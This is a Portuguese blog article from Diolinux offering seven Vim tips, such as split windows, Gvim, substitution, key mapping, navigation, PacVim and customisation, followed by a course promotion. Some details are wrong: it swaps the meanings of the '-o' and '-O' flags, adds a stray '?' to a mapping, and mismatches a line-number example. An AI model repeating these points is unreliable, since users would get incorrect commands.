É um software livre e de código aberto e é lançado sob uma licença que inclui algumas cláusulas de caridade, encorajando os usuários que se juntarem ao software a considerar a doação para crianças de Uganda.
Dentre as muitas características do Vim, podemos mencionar alguns destaques.m
  • Suporte a expressões regulares em buscas, com várias extensões à sintaxe padrão de expressões regulares;
  • Destaque de sintaxe (com suporte a mais de 500 linguagens);
  • Corretor ortográfico ( versão 7.0+ );
  • Vários temas de cores (colorschemes);
  • E centenas de características bem peculiares.

Entre facilidades e características, vamos ver 7 dicas para você usar o VIM como um PRO.

1 - Abertura de múltiplos arquivos


Se deseja trabalhar num arquivo e ao mesmo tempo visualizar o conteúdo de outros arquivos, então há a possibilidade de abri-los simultaneamente com visualização única.
Você pode abrir tanto na vertical usando o parâmetro -o (minúsculo) usando o comando:

vim -o arquivo1.c arquivo2.sh arquivoN.nnn

A saída será similar a conteúdo da imagem abaixo:

VIM na Vertical

Ou caso deseje, você também pode abrir os múltiplos arquivos na horizontal usando -O (MAIÚSCULO)

VIM na Horizontal

Isso sem dizer que você pode abri-los posteriormente utilizando o comando:

split nome-do-arquivo

2 - Pegando a manha com o Gvim


Se você deseja se adaptar rapidamente ao Vim, é interessante você começar utilizando o Gvim, por exemplo. O Gvim é o Vim com interface gráfica, ou seja, funciona todos comandos igualmente, inclusive as configurações, no entanto ele possui algumas características próprias, similares a dos editores convencionais. Entre elas:
  • Conversão de documentos;
  • Variados temas e cores;
  • Configuração facilitada de família de fontes, tamanho de fonte e entre outros;

Além de que cada menu possui a possibilidade de executá-lo via comando, lhe informando o comando. Ou seja, você aprende utilizando. 

Veja abaixo algumas telas que mostram conteúdo de menus do Gvim.

GVIM

3 - Substituição de palavras com cadeia de caracteres


Muitos editores de textos e IDEs possuem suporte a Expressões Regulares, no entanto, cada qual possui uma limitação. Mas o Vim tem um suporte customizado, é amigo, tudo  pode ser customizado. Há até a customização das "mãos na roda", para encontrá-las e substituí-las existem diversos caminhos, no entanto, vou lhe dar a dica mais simples. Suponhamos que queiramos trocar todas as palavras 'vi' por 'Vim', é mais fácil e rápido do que você imagina, basta pressionar ESC e escrever o comando abaixo, o g no final é para todas as ocorrências, caso desejasse uma única troca, basta não inserí-lo:

O espaço depois do vi foi proposital para não trocar também o vim
:% s/vi /Vim/g

4 - Mapeamento de teclas


É necessário saber que todas as teclas são mapeáveis no Vim, mas como dica básica, vamos supor que você está cansado de ficar digitando :ggVG para selecionar tudo, então basta você mapear a tecla F12 , basta dar ESC e inserir o comando abaixo:
:map <F12> ggVG?
A partir de agora toda vez que você estiver no modo NORMAL, basta pressionar F12 que você irá selecionar tudo ! 😉

5 - Navegação rápida


Essa é especial para quem trabalha com Desenvolvimento de Software. Muitas vezes o compilador/interpretador nos informa o número da linha do erro da execução ou compilação do software e geralmente ficar rolando o cursor do mouse pra ficar procurando a linha, é uma verdadeira perda de tempo, no Vim você pode navegar facilmente pelo arquivo. Por exemplo, o compilador lhe disse que foram encontrados erros nas linhas: 1370846 e na linha 3 , logo, basta você digitar: ESC :1370 você vai diretamente para essa linha e novamente para as outras linhas, resolvendo de forma mais rápida e menos estressante os bugs, ops, desculpa, a palavra agora é Feature 😎.

Ah! Quase ia me esquecendo!! Para ir para primeira linha basta digitar: gg e para a última linha G 😃.

6 - PacVim


Tem muita gente que demora de se adaptar ao Vim e extrair dele o melhor para acelerar seus projetos, para isso eu recomendo o Pacvim um game bem legal que lhe ensina, jogando, como você se adaptar melhor ao vim, e utilizar as teclas: []bw{} ... para navegar mais facilmente nos documentos, pulando palavras, textos, parágrafos e assim por diante.

Para saber como instalar e usar, consulte o GitHub deles: https://github.com/jmoon018/PacVim , só tome cuidado pra não se viciar! 😊

Pacvim

7 - Customização Total do Editor


Você pode transformar o Vim no Editor que você deseja, mas do seu modo: árvores de diretóriosauto-complete de palavrascoresmarcastags e até aprender a Linguagem de Programação Vim!!! Isso mesmo, você pensou que o Vim é o mais utilizado do mundo só porque você o considera difícil ? Nada disso, você pode aprender o Vimscript, é uma "linguagem de programação do vim" , onde você pode pode criar funções, comentários, arquivos customizados no arquivo de configuração do Vim. No Curso de Vim Para Iniciantes você vai aprender diversos truques e dicas bem bacanas de Vim e Vimscript, que em pouco tempo você vai estar dando :wq para desligar seu computador!  .

Veja abaixo a imagem exemplo da minha customização escrevendo esse artigo em Markdown para o Diolinux, com plugins e auto complete de palavras.

Escrevendo o artigo no VIM

Caso deseje adquirir o Curso, aproveite e leve mais dois cursos na Promoção Diolinux e aprenda Vim e Shell Script Extremamente Avançado: Criação de Instaladores para Distros Linux, Criação de Games, Animações e muito mais!

Valeu!

Artigo produzido em conjunto com Marcos Oliveira, do Terminal Root.
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Blog Diolinux © all rights reserved
made with by templateszoo